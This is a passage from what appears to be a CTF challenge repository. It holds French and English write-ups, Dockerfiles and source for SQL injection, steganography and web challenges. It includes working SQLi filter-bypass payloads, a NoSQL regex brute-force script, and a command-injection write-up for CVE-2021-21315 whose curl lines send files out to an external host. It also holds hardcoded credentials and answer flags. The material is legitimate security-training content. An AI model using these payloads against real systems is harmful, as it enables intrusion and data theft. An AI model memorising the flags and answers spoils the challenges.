ununionion select 1,2,flag from flag--`. Le mot clé "union" est supprimé, cependent le nouveau mot "union" qui a été formé n'est pas filtré car la fonction ne réeffectue pas un scan du début pour trouver le nouveau mot clé qui vient d'être formé en supprimant l'autre. 19 | 20 | Le flag obtenu est `FLAG-b2b38394a280fc1315644e6ad3879f7bfiltersdontwork`. 21 | -------------------------------------------------------------------------------- /challenges/sqli/sqli6/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli6/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 6 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce sixième défi d'injection SQL similaire aux deux défis prédédents, cependant le flag se cache dans une table aillant un nom inconnu. Vous devez trouver un moyen de l'obtenir puis ensuite récupérer le flag. Le mot clé "union" n'est plus filtré, donc vous avez cet embuche en moins. 8 | 9 | Il y a peut-être de l'information qui peut vous aider à résoudre ce défi dans les description de défis précédente. Notez que la colonne où le flag se trouve se nomme toujours "flag". 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - BurpSuite 15 | 16 | # Writeup 17 | 18 | Sachant que la base de données est SQLite3, on peut aller chercher le nom des tables comme suit: 19 | `" union select 1,2,name from sqlite_master--` 20 | 21 | Par la suite, ayant obtenu le nom de la table, on peut faire: 22 | `" union select 1,2,flag from K953U0Ty4V--`. 23 | 24 | Le tour est joué. `FLAG-25389bf2c3b5f951b1201213fa6c46baYouAreEpic` 25 | -------------------------------------------------------------------------------- /challenges/sqli/sqli7/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli7/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 7 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce septième défi d'injection SQL indentique au défi précédent, cependant vous ne connaissez pas le nom de la table ni de la colonne! 8 | 9 | Bonne chance!! :-) 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - BurpSuite 15 | 16 | # Writeup 17 | 18 | Nom de la table: 19 | `" union select 1,2,name from sqlite_master--` 20 | 21 | Résultat: Ja93MjakS 22 | 23 | Nom de la colonne: 24 | `" union select 1,2,name from PRAGMA_TABLE_INFO("Ja93MjakS")--` 25 | 26 | Résultat: `Dab93JkA` 27 | 28 | Requête finale: `" union select 1,2,Dab93JkA from Ja93MjakS--` 29 | 30 | Résultat: `FLAG-7de1baec41fa6c0969290f2f2e8eddcfOkThisWasEasy` 31 | -------------------------------------------------------------------------------- /challenges/sqli/sqli8/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli8/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 8 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce huitième et dernier défi d'injection SQL, on utilise le même code backend que celui du défi SQL injection 6. Il y a une table secrète qui contient une colonne "flag". Cependent, le mot "flag" est dans la blacklist. Il est complètement interdit. En d'autres termes, la requête SQL ne sera pas exécutée du tout si le mot est détecté. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | Nom de la table: 17 | `" union select 1,2,name from sqlite_master--` 18 | 19 | Résultat: cKretTblName 20 | 21 | Donc, on l'utilise dans la requête suivante: 22 | `" union select 1,* from cKretTblName--` 23 | 24 | Dans ce cas, `1,*` deviendra `1, id, flag`. Comme `flag` est dans le dernier champs, c'est lui qui sera utilisé comme mot de passe. 25 | 26 | Le flag obtenu: `FLAG-a7541918ece21a8dc17a3dc9bae1f23bYoureTheBoss` 27 | -------------------------------------------------------------------------------- /challenges/sqli/sqli9/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli9/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 9 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Bon, j'ai menti, ce n'était pas le dernier défi d'injection SQL. Le propriétaire du site web est vraiment tanné de se faire voler tous ses flags. Il reste un flag dans la colonne `flag` de la table `flag`, mais le propriétaire du site a interdit les espaces dans les champs d'input de l'utilisateur. En d'autres mots, votre injection SQL ne sera pas exécutée si elle contient des espaces. 8 | 9 | Maintenant que les espaces sont interdites, pouvez-vous trouver un moyen de quand même effectuer une injection SQL? 10 | 11 | Bon succès! 12 | 13 | ## Setup 14 | 15 | Requirements: 16 | - BurpSuite 17 | 18 | # Writeup 19 | 20 | Il faut trouver un moyen d'avoir des espaces sans en utiliser. Avec SQLite, on peut insérer des espaces en utilisant `/**/` dans une requête. 21 | 22 | `"/**/union/**/select/**/1,2,flag/**/from/**/flag--` 23 | 24 | On aura le flag: `FLAG-8f9f741bb17cc4176c357d6028c4aa70c994bc75welld0nehacker` 25 | -------------------------------------------------------------------------------- /challenges/steg/26 shades of red/README.md: -------------------------------------------------------------------------------- 1 | # 26 Shades of Red 2 | 3 | > Steg 4 | 5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb) 6 | 7 | Your artist friends were sharing some color palettes, but something looks a bit off in the order. \ 8 | Can you crack the code and find the hidden messages your artist friends are sending? \ 9 | 10 | Note: The flag is all caps 11 | 12 | # Writeup 13 | ![file](https://user-images.githubusercontent.com/37233412/133373193-15b4e840-0d58-41f6-833f-11ca8f50a0b8.png) 14 | This is another very easy challenge. \ 15 | First, simply realize that the first row is a legend wherein the first color represents an "A", the second color a "B", etc. \ 16 | Then by simply translating the second row according to the legend, the flag can be found. \ 17 | Of course, participants are encouraged to perform this challenge programatically to avoid tedious manual labour, but it is not a requirement. 18 | 19 | flag: `FLAG-PIXELSAREMYPASSION` 20 | -------------------------------------------------------------------------------- /challenges/steg/26 shades of red/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/26 shades of red/file.png -------------------------------------------------------------------------------- /challenges/steg/lostandfound/.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out 3 | /flags/final/* 4 | !/flags/final/.gitkeep -------------------------------------------------------------------------------- /challenges/steg/lostandfound/README.md: -------------------------------------------------------------------------------- 1 | # PNG repair 2 | > steg 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | The most evil hacker in the world corrupted all my cute kitten images 😾😾. Can you help me recover my cuties 😿? 7 | 8 | ## Writeup 9 | 10 | ### Flag 1 11 | This image has its header erased. Add the header `0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a` back and it will display. 12 | 13 | ### Flag 2 14 | This image has its bytes reversed, reverse it back to see the flag. 15 | 16 | ### Flag 3 17 | This image has its dimensions set to 1x1. You can try to find the right width and height by opening the image in GIMP as a raw (.data) image. Then you set the height to around 1500 and adjust the width. You should be able to see a repeating pattern that "synchrosises" up to around 2000. Then you can create multiple images around that width, up to you to find the right one. Add two `uint32` at the position `16` and `20` of values `2000` and `1333`. 18 | 19 | ### Flag 4 20 | This image has its length and CRC checksum erased for IDAT segments. Originally, it was supposed to be only the CRC that were erased, but since Windows Photo doesn't care about CRCs, I added the length. (refer to `src/flag4.ts`) 21 | 22 | ### Flag 5 23 | This image has its IDAT segments scrambled. First, you need to find the first IDAT segment which is marked by the letter `x` or `0x78`. Then you need to find the last segment which is the one that has a different size. After that, you need to bruteforce the rest of the segments one by one to obtain an image that is more and more visible until you can read the flag. (refer to `src/flag5.ts`) 24 | 25 | ## Setup 26 | 27 | ### Requirements 28 | - nodejs 29 | 30 | ### How to run 31 | - Execute the command `npm run genflags` -------------------------------------------------------------------------------- /challenges/steg/lostandfound/flags/final/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/final/.gitkeep -------------------------------------------------------------------------------- /challenges/steg/lostandfound/flags/original/flag1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag1.png -------------------------------------------------------------------------------- /challenges/steg/lostandfound/flags/original/flag2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag2.png -------------------------------------------------------------------------------- /challenges/steg/lostandfound/flags/original/flag3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag3.png -------------------------------------------------------------------------------- /challenges/steg/lostandfound/flags/original/flag4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag4.png -------------------------------------------------------------------------------- /challenges/steg/lostandfound/flags/original/flag5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag5.png -------------------------------------------------------------------------------- /challenges/steg/lostandfound/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "lostandfound", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "src/index.ts", 6 | "scripts": { 7 | "prebuild": "npm run clean", 8 | "build": "tsc", 9 | "clean": "rm -rf ./out || true", 10 | "pregenflags": "npm run build", 11 | "genflags": "npm run genflag1; npm run genflag2; npm run genflag3; npm run genflag4; npm run genflag5", 12 | "genflag1": "node out/flag1.js b flags/original/flag1.png flags/final/flag1.png", 13 | "genflag2": "node out/flag2.js b flags/original/flag2.png flags/final/flag2.png", 14 | "genflag3": "node out/flag3.js b flags/original/flag3.png flags/final/flag3.png", 15 | "genflag4": "node out/flag4.js b flags/original/flag4.png flags/final/flag4.png", 16 | "genflag5": "node out/flag5.js b flags/original/flag5.png flags/final/flag5.png" 17 | }, 18 | "keywords": [], 19 | "author": "", 20 | "license": "ISC", 21 | "devDependencies": { 22 | "@types/node": "^16.9.1", 23 | "ts-node": "^10.2.1", 24 | "typescript": "^4.4.3" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /challenges/steg/lostandfound/src/flag1.ts: -------------------------------------------------------------------------------- 1 | if (process.argv.length !== 5) { 2 | console.error(`${process.argv[1]} [break|repair] src dst`); 3 | process.exit(1); 4 | } 5 | 6 | import * as fs from "fs/promises"; 7 | 8 | // FLAG-54f1e31c38110fc3a81de08c63405862040acbcd 9 | (async () => { 10 | const [ACTION, SRC, DST] = process.argv.slice(2); 11 | if (ACTION[0] === "b") { 12 | const data = await fs.readFile(SRC); 13 | data.writeBigUInt64BE(BigInt(0)); 14 | await fs.writeFile(DST, data); 15 | } else if (ACTION[0] === "r") { 16 | const data = await fs.readFile(SRC); 17 | data.writeBigUInt64BE(BigInt("0x89504e470d0a1a0a")); 18 | await fs.writeFile(DST, data); 19 | } else { 20 | console.error(`${process.argv[1]} [break|repair] src dst`); 21 | process.exit(1); 22 | } 23 | })(); 24 | -------------------------------------------------------------------------------- /challenges/steg/lostandfound/src/flag2.ts: -------------------------------------------------------------------------------- 1 | if (process.argv.length !== 5) { 2 | console.error(`${process.argv[1]} [break|repair] src dst`); 3 | process.exit(1); 4 | } 5 | 6 | import * as fs from "fs/promises"; 7 | 8 | // FLAG-05e03c712aca474128f237d74d86cc0f225df863 9 | (async () => { 10 | const [ACTION, SRC, DST] = process.argv.slice(2); 11 | if (ACTION[0] === "b" || ACTION[0] === "r") { 12 | const orig_data = await fs.readFile(SRC); 13 | const new_data = Buffer.alloc(orig_data.length); 14 | 15 | // inverse the png 16 | for (let i = 0; i < orig_data.length; ++i) { 17 | new_data[new_data.length - 1 - i] = orig_data[i]; 18 | } 19 | await fs.writeFile(DST, new_data); 20 | } else { 21 | console.error(`${process.argv[1]} [break|repair] src dst`); 22 | process.exit(1); 23 | } 24 | })(); 25 | -------------------------------------------------------------------------------- /challenges/steg/lostandfound/src/flag3.ts: -------------------------------------------------------------------------------- 1 | if (process.argv.length !== 5) { 2 | console.error(`${process.argv[1]} [break|repair] src dst`); 3 | process.exit(1); 4 | } 5 | 6 | import * as fs from "fs/promises"; 7 | 8 | // FLAG-b0de49381751079643f0aaefdbcb9ee25be7f845 9 | (async () => { 10 | const [ACTION, SRC, DST] = process.argv.slice(2); 11 | if (ACTION[0] === "b") { 12 | const data = await fs.readFile(SRC); 13 | data.writeUInt32BE(1, 16); 14 | data.writeUInt32BE(1, 20); 15 | await fs.writeFile(DST, data); 16 | } else if (ACTION[0] === "r") { 17 | const data = await fs.readFile(SRC); 18 | data.writeUInt32BE(2000, 16); 19 | data.writeUInt32BE(1333, 20); 20 | await fs.writeFile(DST, data); 21 | } else { 22 | console.error(`${process.argv[1]} [break|repair] src dst`); 23 | process.exit(1); 24 | } 25 | })(); 26 | -------------------------------------------------------------------------------- /challenges/steg/lostandfound/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es6", 4 | "moduleResolution": "node", 5 | "module": "commonjs", 6 | "declaration": false, 7 | "noLib": false, 8 | "emitDecoratorMetadata": true, 9 | "experimentalDecorators": true, 10 | "pretty": true, 11 | "allowUnreachableCode": true, 12 | "allowUnusedLabels": true, 13 | "noImplicitAny": true, 14 | "noImplicitReturns": false, 15 | "noImplicitUseStrict": false, 16 | "outDir": "out/", 17 | "baseUrl": "src/" 18 | }, 19 | "include": ["./**/*"], 20 | "exclude": ["node_modules"], 21 | "compileOnSave": false 22 | } 23 | -------------------------------------------------------------------------------- /challenges/steg/nagware/README.md: -------------------------------------------------------------------------------- 1 | # nagware 2 | 3 | > Steg 4 | 5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb) 6 | 7 | The other steg challenges all had something that looked (or sounded) slightly strange. 8 | But, for effective steg to be possible, it shouldn't even be obvious that a message was hidden at all. 9 | Can you find the secret content in this seemingly normal looking logo? 10 | 11 | # Writeup 12 | ![out](https://user-images.githubusercontent.com/37233412/133376068-43f28121-9bd3-4853-86be-b53b291a852c.jpg) 13 | 14 | This challenge can be solved with many tools that find hidden files in images. \ 15 | There are 2 files hidden in this image, one is a flag.txt file, which contains a link to a pastebin. \ 16 | The other is a zip file, that is password protected. \ 17 |
18 | 19 | For those that don't want to use any "fancy" tools: 20 | - The [link to the pastebin](https://pastebin.com/TSiXFe1u) can simply be found in the strings of the file. 21 | - The zip can be found simply by opening the image with winRAR, 7Zip, etc (the title nagware is a hint that winRAR will be useful). 22 | 23 |
24 | The contents of the pastebin, are simply the password of the zip, which when extracted reveal the flag. 25 | 26 | flag: `flag-hiddeninplainsight` 27 | -------------------------------------------------------------------------------- /challenges/steg/nagware/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/nagware/logo.jpg -------------------------------------------------------------------------------- /challenges/steg/rqbp-ed/README.md: -------------------------------------------------------------------------------- 1 | # rqbp-ed 2 | 3 | > Steg 4 | 5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb) 6 | 7 | La stéganographie consiste souvent à trouver des fichiers dans des images.\ 8 | Mais, pouvez-vous trouver l'image dans ce fichier? 9 | 10 | # Writeup 11 | First, from the description of the challenge, the binary must be converted to an image, which can be done with many online tools (ex: https://www.dcode.fr/binary-image) \ 12 | This generates the following QR Code:\ 13 | ![image](https://user-images.githubusercontent.com/37233412/132622527-910f69ed-6a8b-4d8f-bbee-ade5fc58f849.png) \ 14 | \ 15 | \ 16 | After scanning, we get the message: 0199-133-102 1+ rz yynP \ 17 | Next, notice that the title of the challenge is a hint, and is simply the rot-13 of the reverse of "qr-code".\ 18 | Taking the rot-13 and reverse of the message, we get: Call me +1 201-331-9910 \ 19 | After calling the number, there is a weird audio recording played: [Audio](https://vocaroo.com/16c8q2Q2wLsJ) \ 20 | Reversing the audio results in a more understandable message: [Audio](https://voca.ro/16LzF8fDHmMH) \ 21 | Transcript: 22 | > All caps. The flag is: FLAG-RINGRING. Good job, good-bye! 23 | 24 | flag: `FLAG-RINGRING` 25 | -------------------------------------------------------------------------------- /challenges/steg/spectacles/README.md: -------------------------------------------------------------------------------- 1 | # spectacles 2 | 3 | > Steg 4 | 5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb) 6 | 7 | This audio file sounds a little weird. \ 8 | Can you put on your spectacles and try to find the hidden message? 9 | 10 | # Writeup 11 | This is quite a simple challenge that can be solved in 1 step if someone knows where to look. \ 12 | The name of the challenge is a subtle nod indicated that the audio program "Spek" should be used. \ 13 | After loading the wav file into spek, the flag is immediately given. 14 | ![image](https://user-images.githubusercontent.com/37233412/133365578-0b367763-3a2b-4134-9ff3-feec8b9753e9.png) 15 | 16 | flag: `FLAG-ST3G4N0GR4PHY` 17 | -------------------------------------------------------------------------------- /challenges/steg/spectacles/file.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/spectacles/file.wav -------------------------------------------------------------------------------- /challenges/web/api1_nosqli/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | README.md 3 | solve.py 4 | Dockerfile 5 | docker-compose.yml 6 | package-lock.json -------------------------------------------------------------------------------- /challenges/web/api1_nosqli/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | data 3 | .env 4 | package-lock.json 5 | .idea 6 | vscode -------------------------------------------------------------------------------- /challenges/web/api1_nosqli/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:latest 2 | RUN mkdir -p /usr/src/app 3 | WORKDIR /usr/src/app 4 | COPY package.json . 5 | RUN npm install 6 | COPY . . 7 | EXPOSE 3000 8 | CMD [ "npm", "start" ] -------------------------------------------------------------------------------- /challenges/web/api1_nosqli/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | app: 4 | container_name: api1 5 | restart: always 6 | build: . 7 | environment: 8 | - FLAG=FLAG-No5QL_D0ESNT_M3AN_N0_SQLi 9 | - MONGO_INITDB_DATABASE=api1 10 | - MONGO_URL=mongodb://admin:46UeIA53nSKeeeryixbu@mongo:27017/api1?authSource=admin&readPreference=primary&directConnection=true&ssl=false 11 | ports: 12 | - '3000:3000' 13 | external_links: 14 | - mongo 15 | mongo: 16 | container_name: mongo 17 | image: mongo 18 | environment: 19 | - MONGO_INITDB_ROOT_USERNAME=admin 20 | - MONGO_INITDB_ROOT_PASSWORD=46UeIA53nSKeeeryixbu 21 | - MONGO_INITDB_DATABASE=api1 22 | ports: 23 | - '27017:27017' -------------------------------------------------------------------------------- /challenges/web/api1_nosqli/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Quotes-A-Day", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.js", 6 | "scripts": { 7 | "start": "node app.js", 8 | "dev": "nodemon app.js", 9 | "docker": "docker-compose up --build --force-recreate --renew-anon-volumes" 10 | }, 11 | "keywords": [], 12 | "author": "", 13 | "license": "ISC", 14 | "dependencies": { 15 | "cors": "^2.8.5", 16 | "express": "^4.17.1", 17 | "mongodb": "^4.1.0", 18 | "morgan": "^1.10.0", 19 | "swagger-ui-express": "^4.1.6", 20 | "inspirational-quotes": "^1.0.8", 21 | "swagger-jsdoc": "^6.1.0" 22 | }, 23 | "devDependencies": { 24 | "dotenv": "^10.0.0", 25 | "nodemon": "^2.0.12" 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /challenges/web/api1_nosqli/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | flag_letters = 'abcdefghijklmnopqrstuvxwyzABCDEFGHIJKLMNOPQRSTUVXWYZ0123456789_-{}' 4 | index = 0 5 | flag = "FLAG-" 6 | url = "http://localhost:3000/api_key" 7 | headers = {'Content-type': 'application/json'} 8 | while True: 9 | for letter in flag_letters: 10 | data = {"email": "admin@unite.com", "password": {"$regex": "{}(.*)".format(flag + letter)}} 11 | response = requests.post(url, json=data, headers=headers) 12 | index = index + 1 13 | if "API_KEY" in response.text: 14 | flag = flag + letter 15 | print(flag) -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/.dockerignore: -------------------------------------------------------------------------------- 1 | docker-compose.yml 2 | Dockerfile 3 | README.md 4 | node_modules 5 | .env 6 | .idea 7 | labase.txt -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | data 3 | .env 4 | package-lock.json 5 | .idea 6 | -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:latest 2 | WORKDIR /usr/src/app 3 | COPY package.json . 4 | RUN npm install 5 | COPY . . 6 | EXPOSE 9002 7 | USER node 8 | CMD [ "npm", "start" ] -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/README.md: -------------------------------------------------------------------------------- 1 | # Quotes-A-Day 2 (API2) 2 | 3 | > Web
4 | > Author: @Strix 5 | 6 | ## Prompt 7 | 8 | OK, we've patched the previous vulnerability and finally implemented our new system health check feature. Users can now 9 | query our **system information** to check if a site or a service is available or not and make sure to get their daily quote! 10 | 11 | ## Flag 12 | 13 | FLAG: `FLAG-0WASP_T0P_9_PATCH_Y0UR_NPM_PACKAG3S` 14 | 15 | ## Outils nécessaires 16 | 17 | - docker-compose 18 | 19 | ## Exécution 20 | 21 | ```bash 22 | docker-compose up --build --force-recreate --renew-anon-volumes 23 | ``` 24 | 25 | ## Writeup 26 | 27 | Le défi ici est une vulnérabilité d'injection de commande dans un package très populaire de nodejs appelée [systeminformation](https://www.npmjs.com/package/systeminformation). 28 | Le package a une vulnérabilité dans 4 fonctions dans lesquels un utilisateur fournit du input non filtré/_santized_. 29 | 30 | L'injection de commande se produit ici par l'utilisation d'un tableau plutôt que d'une chaîne, en raison d'un manque de filtrage dans l'une des fonctions du package. (CVE-2021-21315) 31 | 32 | Le endpoint `GET /systemInfo` requiert un paramètre `service`. 33 | 34 | `GET /systemInfo?service=http:///quotes` retourne le statut du service de la route /quotes, mais 35 | 36 | `/systemInfo?service[]=$(echo 'command injection')` injecterait la commande, puisque `systeminformation.inetChecksite()` ne _sanitize_ pas les tableaux/listes/arrays, mais uniquement les chaînes de caractères. 37 | 38 | L'utilisateur n'a donc qu'à parcourir le répertoire pour trouver le flag.txt. 39 | 40 | ```curl 41 | GET /systemInfo?service[]=$(ls -la > out.txt && curl --form "data=@out.txt" ) 42 | ``` 43 | 44 | ```curl 45 | GET /systemInfo?service[]=$(curl --form "data=@flag.txt" ) 46 | ``` 47 | -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | app: 4 | container_name: app_api_2 5 | restart: always 6 | build: . 7 | environment: 8 | - MONGO_INITDB_DATABASE=api2 9 | - MONGO_URL=mongodb://admin:46UeIA53nSKeeeryixbu@mongo:27018/api2?authSource=admin&readPreference=primary&directConnection=true&ssl=false 10 | ports: 11 | - '9002:9002' 12 | external_links: 13 | - mongo 14 | mongo: 15 | container_name: mongo_2 16 | image: mongo 17 | command: mongod --port 27018 18 | environment: 19 | - MONGO_INITDB_ROOT_USERNAME=admin 20 | - MONGO_INITDB_ROOT_PASSWORD=46UeIA53nSKeeeryixbu 21 | - MONGO_INITDB_DATABASE=api2 22 | ports: 23 | - '27018:27018' -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG-0WASP_T0P_9_PATCH_Y0UR_NPM_PACKAG3S -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Quotes-A-Day 2", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.js", 6 | "scripts": { 7 | "start": "node app.js", 8 | "dev": "nodemon app.js", 9 | "test": "echo \"Error: no test specified\" && exit 1", 10 | "docker": "docker-compose up --build --force-recreate --renew-anon-volumes" 11 | }, 12 | "keywords": [], 13 | "author": "", 14 | "license": "ISC", 15 | "dependencies": { 16 | "cors": "^2.8.5", 17 | "express": "^4.17.1", 18 | "inspirational-quotes": "^1.0.8", 19 | "mongoose": "^6.0.0", 20 | "morgan": "^1.10.0", 21 | "swagger-jsdoc": "^6.1.0", 22 | "swagger-ui-express": "^4.1.6", 23 | "systeminformation": "4.34.10" 24 | }, 25 | "devDependencies": { 26 | "dotenv": "^10.0.0", 27 | "nodemon": "^2.0.12" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /challenges/web/api2_packagevulnerability/users.model.js: -------------------------------------------------------------------------------- 1 | const mongoose = require('mongoose') 2 | 3 | const users = mongoose.model('users', new mongoose.Schema({ 4 | email: { 5 | type: String, 6 | required: true, 7 | }, 8 | password: { 9 | type: String, 10 | required: true 11 | } 12 | })); 13 | 14 | module.exports = users; 15 | 16 | -------------------------------------------------------------------------------- /challenges/web/cookies/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/web/cookies/src/user.php: -------------------------------------------------------------------------------- 1 | generateRandom(), str_rot13('user') => str_rot13($usr)); 15 | return base64_encode(base64_encode(json_encode($arr))); 16 | } 17 | 18 | if (isset($_GET['guest'])) { 19 | setcookie("session", cookieEncode("guest")); 20 | $_SESSION["failed"] = false; 21 | } 22 | 23 | if (isset($_GET['logout'])) { 24 | setcookie("session", "", time() - 3600); 25 | unset($_COOKIE['session']); 26 | $_SESSION["failed"] = false; 27 | } 28 | 29 | if (isset($_POST['u']) && !empty($_POST['u'])) { 30 | if (isset($_POST['p']) && !empty($_POST['p'])) { 31 | if ($_POST['u'] === "admin" && $_POST['p'] === "MCvs8WkGBXaYuJbu#n3QHcTLTbFNGRQam67BadkFMFnCm4fqM") { 32 | setcookie("session", cookieEncode($_POST['u'])); 33 | $_SESSION["failed"] = false; 34 | } else { 35 | $_SESSION["failed"] = true; 36 | } 37 | } 38 | } 39 | 40 | header('Location: index.php'); 41 | ?> 42 | -------------------------------------------------------------------------------- /challenges/web/hackertools/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .dockerignore 3 | Dockerfile 4 | docker-compose*.yml 5 | -------------------------------------------------------------------------------- /challenges/web/hackertools/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | .env 3 | -------------------------------------------------------------------------------- /challenges/web/hackertools/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | 3 | # Sudo 4 | 5 | RUN apt-get update && apt-get install -y sudo python3 6 | 7 | # Users 8 | 9 | RUN useradd -ms /bin/bash -G sudo k1dd13 10 | RUN useradd -ms /bin/bash super_k1dd13 11 | 12 | # Web 13 | 14 | WORKDIR /app 15 | 16 | COPY ./web/package*.json ./ 17 | 18 | RUN npm install 19 | 20 | RUN chmod 644 ./package*.json 21 | 22 | COPY ./web/. ./ 23 | 24 | ## Chmod on all folders but large `node_modules`. 25 | RUN find . -not -path "*/node_modules*" -type f -exec chmod 644 {} \; 26 | 27 | # PrivEsc 28 | 29 | RUN echo "k1dd13 ALL=(super_k1dd13) NOPASSWD: /bin/lua, /bin/php, /bin/ruby, /bin/vim" >> /etc/sudoers 30 | 31 | ## PrivEsc "binary" script 32 | COPY ./scripts/ruby.sh /bin/ruby 33 | RUN chmod 755 /bin/ruby 34 | 35 | ## Fake "binary" scripts 36 | COPY ./scripts/php.sh /bin/php 37 | RUN chmod 755 /bin/php 38 | 39 | COPY ./scripts/lua.sh /bin/lua 40 | RUN chmod 755 /bin/lua 41 | 42 | # Flags 43 | 44 | RUN mkdir /flags 45 | 46 | COPY ./challenges/1/FLAG /app/flags/FLAG_1 47 | COPY ./challenges/2/FLAG /app/flags/FLAG_2 48 | RUN chown root:k1dd13 /app/flags/FLAG_* 49 | RUN chmod 440 /app/flags/FLAG_* 50 | 51 | COPY ./challenges/3/FLAG /flags/FLAG_3 52 | RUN chown root:k1dd13 /flags/FLAG_3 53 | RUN chmod 440 /flags/FLAG_3 54 | 55 | COPY ./challenges/4/FLAG /flags/FLAG_4 56 | RUN chown root:super_k1dd13 /flags/FLAG_4 57 | RUN chmod 440 /flags/FLAG_4 58 | 59 | # Entrypoint 60 | 61 | USER k1dd13 62 | 63 | CMD ["npm", "start"] 64 | -------------------------------------------------------------------------------- /challenges/web/hackertools/README.md: -------------------------------------------------------------------------------- 1 | # HackerTools 2 | 3 | > Pwn 4 | 5 | Author: @alexandre-lavoie 6 | 